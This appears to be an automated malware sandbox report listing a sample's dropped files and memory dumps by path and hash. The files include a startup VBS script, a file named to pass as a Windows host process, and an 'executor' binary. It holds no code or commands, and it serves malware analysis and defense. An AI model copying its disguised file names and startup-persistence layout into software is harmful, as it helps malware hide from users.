Size 1KB
SHA256 1f8e49ad15cc618c1897c7d8bb57ffdc00247fe8ad050c377391bc298e173b3c
MD5 978a612ff9ddf9fb9048bfcb790c620c
SHA1 4e3dfb8f7d396e0c77f81b9197e862269cc29174
SHA512 f95448c2af7e7902902ffe9267c5bc0dd378ce4f9965c557034d66645af372ac59bdb8b44ddf2882cba050d65b0fc2b04aac6775024828ea20bfb393979efa6f
MD5 SHA1 SHA512

Submit Download

XenManager.dll

Path C:\Users\Admin\AppData\Local\Temp\XenManager.dll
Size 2.0MB
SHA256 baa9c3a0d0524263c4f848056b3f1da3b4bb913162362cbcabe77ce76a39870c
MD5 7a5c53a889c4bf3f773f90b85af5449e
SHA1 25b2928c310b3068b629e9dca38c7f10f6adc5b6
SHA512 f5943687d7e098790581bf56ac6fec3b7e9b83d0e29301077a8bc48768c5a0e9f54f53d926f9847885f6035a2b31e456e4e45ccf1c70be27229c46e79876e2ed
SSDEEP 49152:n574s+7RVTKYTDQkPgf1gDE3QqHUY2dlIfks5zXHo9rhXvGy3Kz:n5749VTKaDQkYf1gDUQqHUtJvGy
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_0e3gg05e.y3e.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0e3gg05e.y3e.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

settings.db

Path C:\Users\Admin\AppData\Local\Temp\settings.db
Size 20KB
SHA256 00c020ba1cce022364976f164c575993cb3b811c61b5b4e05a8a0c3d1b560c0c
MD5 56b941f65d270f2bf397be196fcf4406
SHA1 244f2e964da92f7ef7f809e5ce0b3191aeab084a
SHA512 52ad8c7ed497a5b8eed565b3abcbf544841f3c8c9ec3ca8f686846a2afd15ac4ac8b16abf1cb14aeca1a2fb31f3086ad17206ec4af28e77bae600dca15e8deab
SSDEEP 384:oyokMSGi9bSWVat3PHqsK+i/9IsKPokMSGi9bSWF3JT:ukMSGi9bSWVa1vqsK+i/9IsKgkMSGi9L
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows Host Proccess

Path C:\Users\Admin\AppData\Local\Windows Host Proccess
Size 423KB
SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
SSDEEP 6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

default.dic

Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

Submit Download

startup_str_281.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_281.vbs
Size 115B
SHA256 821f1e6ef94b66a7d52e1e4adb75ed284319c4f9d71b235e1bfebd61baa4b5bc
MD5 7c5ec13047f29adf55207285fc53ac94
SHA1 6abc284186ba8958825bbe2b261413c374a748d2
SHA512 e9aa90f9491b4c9b6f14c1ed1be9fea54303944de89e19f063d12d3dd6446b1a29c0ca2acde54276b74dcb63953e43337db4791e17540ea288f9bdaf642fa776
MD5 SHA1 SHA512

Submit Download

GorillaExecutor.exe

Path C:\Users\Admin\Desktop\GorillaExecutor.exe
Size 349KB
SHA256 494667889e8e3b9f58b5802b2daef04135b4c4a20ec37b6b1e6f1dfbc422bbcc
MD5 1a435d2f44830d387ccc1e8d55b4ff6e
SHA1 549e6af6440fd47060dc9571713b5e6f06a39fe8
SHA512 96e0a913176ac867d1624fe26fc83086e8548087d98c8427a48fe2c2c9f00a5a9add13b1da27bdf1df09718c039ba7035459224190b010d2fc0ea2235663815f
SSDEEP 1536:StAl25UKt8nQCxr+V10LK+uz1I9G0ffvKt8nQCxr+V10LK+uz1I9G0ffP:StHi1xyV1Yiz1I7fv1xyV1Yiz1I7fP
MD5 SHA1 SHA512 SSDEEP

Submit Download

Guna.UI2.zip

Path C:\Users\Admin\Downloads\Guna.UI2.zip
Size 1.7MB
SHA256 7be4775a74e4c5df16f711acaf2ad6c0ee3131bb2eb36f0ca758bcbb5bdfb783
MD5 e5b562ea7ed7cfbceac9c27103d8e3b3
SHA1 1fa88a42be23a65ec887de312853b77633598986
SHA512 a84a5eab6c956b8dd1f208a1f89a3eeefda829bc1361ba4949aff789b9d7741f155daade5ffccbeaa4b49bd9e0a3f1def5d3ac8b8cc2bae454068d525a2ec885
SSDEEP 24576:puOvjqr+qJ8wns8K/5cXvbZruc60m8kg9H+6y5QgEkPAL8N9Bs8YqGyWSBrsp/T0:pDDqJ8V6XjH60G6HbqckPAL2ZYMYp0x
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/436-1069-0x00000000072F0000-0x0000000007301000-memory.dmp

Download

memory/436-1070-0x0000000007330000-0x0000000007344000-memory.dmp

Download

memory/436-1068-0x0000000007030000-0x00000000070D3000-memory.dmp

Download

memory/436-1058-0x0000000071090000-0x00000000710DC000-memory.dmp

Download

memory/916-991-0x0000000005C80000-0x0000000005E94000-memory.dmp

Download

memory/916-990-0x0000000005110000-0x0000000005168000-memory.dmp

Download

memory/916-989-0x0000000004ED0000-0x0000000004EDA000-memory.dmp

Download

memory/916-988-0x0000000004EE0000-0x0000000004F72000-memory.dmp

Download

memory/916-987-0x00000000005A0000-0x00000000005FE000-memory.dmp

Download

memory/2040-1351-0x000000000C8B0000-0x000000000CDDC000-memory.dmp

Download

memory/2040-976-0x0000000007C60000-0x0000000007CFC000-memory.dmp

Download

memory/2040-975-0x0000000006170000-0x0000000006182000-memory.dmp

Download

memory/2040-1150-0x000000000B780000-0x000000000BC54000-memory.dmp

Download

memory/2040-1353-0x000000000C090000-0x000000000C1AE000-memory.dmp

Download

memory/2040-1107-0x000000000B3D0000-0x000000000B3DC000-memory.dmp

Download

memory/2040-1352-0x000000000BD00000-0x000000000C050000-memory.dmp

Download

memory/2040-1350-0x000000000BC50000-0x000000000BD00000-memory.dmp

Download

memory/3628-882-0x0000000006310000-0x0000000006376000-memory.dmp

Download

memory/3628-879-0x0000000005BC0000-0x00000000061E8000-memory.dmp

Download

memory/3628-911-0x00000000068E0000-0x00000000068FE000-memory.dmp

Download

memory/3628-921-0x0000000006930000-0x000000000697C000-memory.dmp

Download

memory/3628-922-0x00000000080B0000-0x000000000872A000-memory.dmp

Download

memory/3628-923-0x0000000007A70000-0x0000000007A8A000-memory.dmp

Download

memory/3628-924-0x0000000007AE0000-0x0000000007AE8000-memory.dmp

Download

memory/3628-878-0x0000000003380000-0x00000000033B6000-memory.dmp

Download

memory/3628-892-0x00000000063C0000-0x0000000006714000-memory.dmp

Download

memory/3628-881-0x00000000062A0000-0x0000000006306000-memory.dmp

Download

memory/3628-880-0x0000000005AC0000-0x0000000005AE2000-memory.dmp

Download

memory/3628-925-0x0000000007BB0000-0x0000000007C3C000-memory.dmp

Download

memory/3628-926-0x000000000ACE0000-0x000000000B284000-memory.dmp

Download

memory/4604-1037-0x0000000071090000-0x00000000710DC000-memory.dmp

Download

memory/5716-950-0x0000000007110000-0x000000000711A000-memory.dmp

Download

memory/5716-938-0x0000000071090000-0x00000000710DC000-memory.dmp

Download

memory/5716-951-0x0000000007340000-0x00000000073D6000-memory.dmp

Download

memory/5716-952-0x00000000072B0000-0x00000000072C1000-memory.dmp

Download

memory/5716-937-0x0000000006F40000-0x0000000006F72000-memory.dmp

Download

memory/5716-949-0x0000000006F80000-0x0000000007023000-memory.dmp

Download

memory/5716-948-0x0000000006350000-0x000000000636E000-memory.dmp

Download

memory/5788-1082-0x0000000071090000-0x00000000710DC000-memory.dmp

Download

memory/6008-1023-0x00000000076A0000-0x00000000076B4000-memory.dmp

Download

memory/6008-1010-0x0000000071090000-0x00000000710DC000-memory.dmp

Download

memory/6008-1020-0x0000000007310000-0x00000000073B3000-memory.dmp

Download

memory/6008-1021-0x0000000007660000-0x0000000007671000-memory.dmp

Download

memory/6008-1022-0x0000000007690000-0x000000000769E000-memory.dmp

Download

memory/6008-1024-0x00000000076E0000-0x00000000076FA000-memory.dmp

Download

memory/6008-1025-0x00000000076D0000-0x00000000076D8000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads